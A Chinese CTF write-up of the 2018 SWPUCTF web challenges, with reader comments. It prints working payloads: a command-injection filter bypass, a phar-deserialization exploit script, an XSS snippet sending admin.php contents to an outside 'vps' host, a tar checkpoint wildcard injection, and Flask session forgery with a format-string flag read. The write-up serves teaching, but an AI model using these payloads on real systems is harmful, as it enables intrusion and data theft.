2018swpuctf---web合集
TCV:0
前言
由于进入期末预习阶段,没时间打,只能赛后看看题,复现一下,感觉这个比赛web题的质量还是挺高的,明年一定不能错过。
用优惠码 买个 X ?
<!--more-->这道题注册登陆之后会送一个优惠码,后台扫描得到www.zip,阅读源码
<?php
//生成优惠码
$_SESSION['seed']=rand(0,999999999);
function youhuima(){
mt_srand($_SESSION['seed']);
$str_rand = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";
$auth='';
$len=15;
for ( $i = 0; $i < $len; $i++ ){
if($i<=($len/2))
$auth.=substr($str_rand,mt_rand(0, strlen($str_rand) - 1), 1);
else
$auth.=substr($str_rand,(mt_rand(0, strlen($str_rand) - 1))*-1, 1);
}
setcookie('Auth', $auth);
}
//support
if (preg_match("/^\d+\.\d+\.\d+\.\d+$/im",$ip)){
if (!preg_match("/\?|flag|}|cat|echo|\*/i",$ip)){
//执行命令
}else {
//flag字段和某些字符被过滤!
}
}else{
// 你的输入不正确!
}
?>
拿着它给的优惠码,返回竟然说要24位,源码里面只生成了15位,可以看到,生成验证码是随机的,而生成随机数的种子范围可知。
参考:
[url=http://wonderkun.cc/index.html/?p=585]http://wonderkun.cc/index.html/?p=585[/url]
[url=https://www.openwall.com/php_mt_seed/]https://www.openwall.com/php_mt_seed/[/url]
于是按照wonderkun师傅文章里面去伪造优惠码。接下来就是命令执行了
if (preg_match("/^\d+\.\d+\.\d+\.\d+$/im",$ip))
参考:[url=http://appleu0.sinaapp.com/?p=146]http://appleu0.sinaapp.com/?p=146[/url] 用%0a绕过
!preg_match("/\?|flag|}|cat|echo|\*/i",$ip))
这里过滤了通配符,跟flag等关键词,于是用编码的形式绕过。
一叶飘零师傅的payload(:tqlc\at /fl\ag
injection??
直接参考:[url=https://wooyun.js.org/drops/Mongodb%E6%B3%A8%E5%85%A5%E6%94%BB%E5%87%BB.html]https://wooyun.js.org/drops/Mongodb%E6%B3%A8%E5%85%A5%E6%94%BB%E5%87%BB.html[/url] 只是验证码有点恶心 注入出来的密码是:skmun 登陆即可得到flag
simplephp
查看文件里有一个任意文件读取
下面给出重要的源码#file.php
<?php
header("content-type:text/html;charset=utf-8");
include 'function.php';
include 'class.php';
ini_set('open_basedir','/var/www/html/');
$file = $_GET["file"] ? $_GET['file'] : "";
if(empty($file)) {
echo "<h2>There is no file to show!<h2/>";
}
$show = new Show();
if(file_exists($file)) {
$show->source = $file;
$show->_show();
} else if (!empty($file)){
die('file doesn\'t exists.');
}
?>
#function.php
<?php
//show_source(__FILE__);
include "base.php";
header("Content-type: text/html;charset=utf-8");
error_reporting(0);
function upload_file_do() {
global $_FILES;
$filename = md5($_FILES["file"]["name"].$_SERVER["REMOTE_ADDR"]).".jpg";
//mkdir("upload",0777);
if(file_exists("upload/" . $filename)) {
unlink($filename);
}
move_uploaded_file($_FILES["file"]["tmp_name"],"upload/" . $filename);
echo '<script type="text/javascript">alert("上传成功!");</script>';
}
function upload_file() {
global $_FILES;
if(upload_file_check()) {
upload_file_do();
}
}
function upload_file_check() {
global $_FILES;
$allowed_types = array("gif","jpeg","jpg","png");
$temp = explode(".",$_FILES["file"]["name"]);
$extension = end($temp);
if(empty($extension)) {
//echo "<h4>请选择上传的文件:" . "<h4/>";
}
else{
if(in_array($extension,$allowed_types)) {
return true;
}
else {
echo '<script type="text/javascript">alert("Invalid file!");</script>';
return false;
}
}
}
?>
#class.php
<?php
class C1e4r
{
public $test;
public $str;
public function __construct($name)
{
$this->str = $name;
}
public function __destruct()
{
$this->test = $this->str;
echo $this->test;
}
}
class Show
{
public $source;
public $str;
public function __construct($file)
{
$this->source = $file;
echo $this->source;
}
public function __toString()
{
$content = $this->str['str']->source;
return $content;
}
public function __set($key,$value)
{
$this->$key = $value;
}
public function _show()
{
if(preg_match('/http|https|file:|gopher|dict|\.\.|f1ag/i',$this->source)) {
die('hacker!');
} else {
highlight_file($this->source);
}
}
public function __wakeup()
{
if(preg_match("/http|https|file:|gopher|dict|\.\./i", $this->source)) {
echo "hacker~";
$this->source = "index.php";
}
}
}
class Test
{
public $file;
public $params;
public function __construct()
{
$this->params = array();
}
public function __get($key)
{
return $this->get($key);
}
public function get($key)
{
if(isset($this->params[$key])) {
$value = $this->params[$key];
} else {
$value = "index.php";
}
return $this->file_get($value);
}
public function file_get($value)
{
$text = base64_encode(file_get_contents($value));
return $text;
}
}
?>
文件上传目录是在web根目录,而且限制了文件后缀名,无解。
$show = new Show();
if(file_exists($file)) {
$show->source = $file;
$show->_show();
这里new了一个类,然后会判断这个file文件是否存在 这不就是熟悉的最近大火的phar吗?于是赶紧pop链
public function file_get($value)
{
$text = base64_encode(file_get_contents($value));
return $text;
}
public function get($key)
{
if(isset($this->params[$key])) {
$value = $this->params[$key];
} else {
$value = "index.php";
}
return $this->file_get($value);
}
public function __get($key)
{
return $this->get($key);
}
public function __toString()
{
$content = $this->str['str']->source;
return $content;
}
public function __destruct()
{
$this->test = $this->str;
echo $this->test;
}
整个pop链找出来了
1.利用C1e4r类的__destruct()中的echo this->test
2.触发Show类的__toString()
3.利用Show类的$content = $this->str['str']->source
4.触发Test类的__get()
5.成功利用file_get()读文件
exp如下
<?php
class C1e4r{
public $test;
public $str;
}
class Show
{
public $source;
public $str;
}
class Test
{
public $file;
public $params;
}
$a = new Test();
$a->params = [
'source' => '/var/www/html/f1ag.php'
];
$b = new Show();
$b->str['str'] = $a;
$c = new C1e4r();
$c->str = $b;
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($c); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
copy('phar.phar','exp.gif');
?>
有趣的邮箱注册
filter_var可以绕过,XSS打后台cookie失败,于是选择读源码xmlhttp=new XMLHttpRequest();
xmlhttp.onreadystatechange=function()
{
if (xmlhttp.readyState==4 && xmlhttp.status==200)
{
document.location='http://vps:23333/?'+btoa(xmlhttp.responseText);
}
}
xmlhttp.open("GET","admin.php",true);
xmlhttp.send();
发现一个任意命令执行的页面,之所以不能直接读flag,是因为flag页面权限是flag用户,所以不能直接读,然后列目录发现有一个md5目录,进去之后发现有一个上传页面。备份中backup.php
<?php
include("upload.php");
echo "上传目录:" . $upload_dir . "<br />";
$sys = "tar -czf z.tar.gz *";
chdir($upload_dir);
system($sys);
if(file_exists('z.tar.gz')){
echo "上传目录下的所有文件备份成功!<br />";
echo "备份文件名: z.tar.gz";
}else{
echo "未上传文件,无法备份!";
}
?>
参考:[url=https://www.freebuf.com/articles/system/176255.html]https://www.freebuf.com/articles/system/176255.html[/url]
exp
decade.sh
--checkpoint-action=exec=sh decade.sh
--checkpoint=1
decade.sh的内容为:
cat /flag | base64
皇家线上赌场
题目给的信息如上,限制了..,所以需要利用绝对路径去读源码哪里得到源码? 参考HCTF的一道题,/proc/self/environ
发现500了 换思路/proc/self/mounts
/proc/self/maps
赛后收集一波
/etc/profile
/proc/pid/cmdline 进程启动命令
/proc/pid/cwd 链接到进程当前**工作**目录
/proc/pid/environ 进程环境变量列表
/proc/pid/exe 链接到进程的执行命令文件
/proc/pid/fd 包含进程相关的所有的文件描述符
/proc/pid/maps 与进程相关的内存映射信息
/proc/pid/mem 指代进程持有的内存,不可读
/proc/pid/root 链接到进程的根目录
/proc/pid/stat 进程的状态
/proc/pid/statm 进程使用的内存的状态
/proc/pid/status 进程状态信息,比stat/statm更具可读性
/proc/self 链接到当前正在运行的进程
参考:[url=https://www.cnblogs.com/youxin/p/4980058.html]https://www.cnblogs.com/youxin/p/4980058.html[/url]
然后还是读不到源码,但是利用文章中的说的可以,读源码如下
/proc/self/cwd/app/views.py
/proc/self/cwd/app/__init__.py
def register_views(app):
@app.before_request
def reset_account():
if request.path == '/signup' or request.path == '/login':
return
uname = username=session.get('username')
u = User.query.filter_by(username=uname).first()
if u:
g.u = u
g.flag = 'swpuctf{xxxxxxxxxxxxxx}'
if uname == 'admin':
return
now = int(time())
if (now - u.ts >= 600):
u.balance = 10000
u.count = 0
u.ts = now
u.save()
session['balance'] = 10000
session['count'] = 0
@app.route('/getflag', methods=('POST',))
@login_required
def getflag():
u = getattr(g, 'u')
if not u or u.balance < 1000000:
return '{"s": -1, "msg": "error"}'
field = request.form.get('field', 'username')
mhash = hashlib.sha256(('swpu++{0.' + field + '}').encode('utf-8')).hexdigest()
jdata = '{{"{0}":' + '"{1.' + field + '}", "hash": "{2}"}}'
return jdata.format(field, g.u, mhash)
from flask import Flask
from flask_sqlalchemy import SQLAlchemy
from .views import register_views
from .models import db
def create_app():
app = Flask(__name__, static_folder='')
app.secret_key = '9f516783b42730b7888008dd5c15fe66'
app.config['SQLALCHEMY_DATABASE_URI'] = 'sqlite:////tmp/test.db'
register_views(app)
db.init_app(app)
return app
有了sercet.key,伪造admin用户绕过balance的重置
正常
python2 .\session解码.py .eJwVjDEOhDAMBP-yNYWPAGfnM8jETnNHkAhUiL8TRlNMNRcW_WtJjvihRoe0neVAfKvueT62nxdEZLcwstpoakEsE4dpIBuSSGBhcu4nIfmiw1l9L7q2JbRaE_cDRYgevw.XBycqQ.xptz8yGQs4gcFtXOVlx-HIpNOjQ
{u'count': 0, u'username': u'asdasd', u'csrf_token': u'u'fed358ad5dad39df083640d4c9938980e8269097', u'balance': 10000.0}
伪造
python3 .\session真伪造.py encode -s '9f516783b42730b7888008dd5c15fe66' -t "{u'count':100000000, u'username': u'admin', u'csrf_token': u'fed358ad5dad39df083640d4c9938980e8269097', u'balance':1000000.0}"
.eJw9zDsOg0AMRdG9vBpFDgPEZjORM_ZICDASnyrK3hMocstT3DdeOmlkR3-nqxtVyMsR-1_olG0tz30ZPdCjuKWW1VpTS2KFOHUNWZNFEguTc90JyQMVjs3X0Pm3h9o8BD5fN6wglw.XBydjw.Ni0v9hK2Yz4UAbtxtS6qW0jMC1I
一看就是python格式化字符串的漏洞,我们要找到g对象,然后读g.flag。
参考:[url=https://xz.aliyun.com/t/3569#toc-1]https://xz.aliyun.com/t/3569#toc-1[/url]
结合tips
下面是找链过程
结合源码
from .models import db
结合源码
def register_views(app):
@app.before_request
def reset_account():
附上smile大师傅的payload
field=__class__.save.__globals__[db].__class__.__init__.__globals__[current_app].__dict__[view_functions][index].__globals__[g].flag
Final
期末预习压力山大,做做题放松放松,继续滚去预习.jpg
评论20次
这看的脑子嗡嗡的 不一般不一般
filename = md5($_FILES["file"]["name"].$_SERVER["REMOTE_ADDR"]).".jpg 这个地方 (文件名 +ip).jpg 这个地方没详细说明 其实 ctf.jpg8.8.8.8的md5
CTF都是大佬打架
你也可以成为大佬的,一起学xi
像我这种一根筋不转弯的果然不适合打CTF.................
多学多练,稳扎稳打
CTF都是大佬打架
像我这种一根筋不转弯的果然不适合打CTF.................
选手的脑洞 出题人的脑回路 都很强没话说
在,这篇帖子出现之前官方WP都出了一天了...........
就不能学xi别人的wp之后自己写一下吗?
第二题不是已经任意源码读取 了么?为什么还要找pop链再读源码?
_show()这个函数过滤了flag文件
出题人的脑回路我真是佩服。
第二题不是已经任意源码读取 了么?为什么还要找pop链再读源码?
_show()这个函数过滤了flag文件
第二题不是已经任意源码读取 了么?为什么还要找pop链再读源码?
在,这篇帖子出现之前官方WP都出了一天了...........
经验挺丰富啊。要是我就没这么厉害的功底了
师傅过奖了,有机会跟师傅多多交流呀
https://xz.aliyun.com/t/36563tubi就买你这东西?
现在弄好了,大佬勿喷
老表客气。如果我不说,或许你会被踩得很惨。前面太多这种例子了。同时也期待大佬的更多文章。
哈哈哈谢谢大佬夸奖,一起学xi哈哈哈
经验挺丰富啊。要是我就没这么厉害的功底了
https://xz.aliyun.com/t/36563tubi就买你这东西?
现在弄好了,大佬勿喷
老表客气。如果我不说,或许你会被踩得很惨。前面太多这种例子了。 同时也期待大佬的更多文章。
https://xz.aliyun.com/t/36563tubi就买你这东西?
现在弄好了,大佬勿喷
https://xz.aliyun.com/t/36563tubi就买你这东西?
第一次发帖子,不懂规矩,我刚开始免费的时候不知道为啥发不出去
https://xz.aliyun.com/t/3656 3tubi就买你这东西?
萌新第一次发帖,大神多多包涵